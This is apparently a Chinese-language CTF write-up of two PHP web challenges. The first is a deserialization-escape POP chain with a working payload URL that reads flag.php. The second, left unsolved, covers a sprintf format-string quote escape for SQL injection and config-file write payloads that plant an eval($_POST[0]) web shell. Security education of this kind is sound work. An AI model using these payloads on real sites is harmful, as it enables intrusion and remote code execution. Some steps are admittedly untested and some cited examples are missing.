web1
考点:反序列化逃逸
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), ' ', $data);
}
function read($data) {
return str_replace(' ', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$payload='A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
$user=' ';
echo serialize(new A($user,$payload))."<br>";
echo base64_encode(read(write(serialize(new A($user,$payload)))));
payload:
http://183.129.189.60:10057/?a= &b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
web2(未解决)
/index.php有提示,是格式化字符串漏洞
因为这里过滤了单引号所以只能通过格式化字符串去吃掉或者构造一个单引号
首先格式化字符串中%后面加数字代表的是第几个参数,$后面代表的是什么形式
例如:
<?php
$a='user: %1$d passwd: %2$s';
echo sprintf($a,123,'passwd');
//输出user: 123 passwd: passwd
模拟一下后端,大概是这样:
<?php
$user = $_GET['user'];
$passwd = $_GET['passwd'];
$sql = "SELECT * FROM users WHERE username="."'$user'"." AND passwd = '%s'";
$sql = sprintf($sql, $passwd);
echo $sql;
1.令user=%1$c ^0 #
然后passwd=39
%c起到了类似chr()的效果,将数字39转化为'
这样就成功构造出一个单引号逃逸
2.令user=%1$
然后passwd=^0#
这里原本是
SELECT * FROM users WHERE username='%1$' AND passwd = '^0#'
在php的格式化字符串中,%后的一个字符(除了'%')会被当作字符类型,而被吃掉,单引号',斜杠也不例外
不过这样容易遇到PHP Warning: sprintf(): Too few arguments的报错。
还可以使用%1$吃掉后面的斜杠,而不引起报错。
由于$后面需要指定格式化字符串形式,所以就把第二个单引号吃掉了,直到匹配到了and中的第一个字符a,也就是:
SELECT * FROM users WHERE username='%1$A ND passwd = '^0#'
导致passwd处逃逸
https://paper.seebug.org/386/#0x03-php
然后这样应该就能注进去了,没环境我也不好测...然后根据y1ng师傅的思路进去之后是经典写配置漏洞:
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\$shell = '.*';/s", "$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>
可以看一下p牛或者smi1e的文章:
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html
https://www.smi1e.top/小密圈经典写配置漏洞与几种变形学习
然后是贪婪/s模式的,可用:
shell=;eval($_POST[0]);
shell=$0
结果如下:
<?php
$shell = '$shell = ';eval($_POST[0]);';';
如果这里是非贪婪匹配,那么只会匹配到第二个单引号,就可以用换行符:
shell=aaa';%0aeval($_POST[0]);//
shell=aaa
结果为:
<?php
$shell = 'aaa';
eval($_POST[0]);//';
然后写入shell后bypass
等环境吧emm
一点拓展
关于格式化字符串的吞字符,fuzz了一下发现很神奇,首先这个格式化字符串应该是会去吞掉其他字符并去找相应的字母的,以下有几种特殊情况:
1.在匹配到字母前若匹配到特殊字符,-,+,'
除外(有待补充) 就会将该特殊字符吞掉并停止匹配,例:
2.如果在匹配到字母前匹配到'
就会吞掉单引号与其紧挨这的任意字符(所有),然后匹配到字母停止,或是匹配到上述的特殊字符结束,例:
这里匹配到单引号会将其与后面的字符(空格)一同吞掉,然后找到a字符
吞掉单引号和a,匹配到m
可能还有不完善的地方,权当一种思路看吧,果然是最好的语言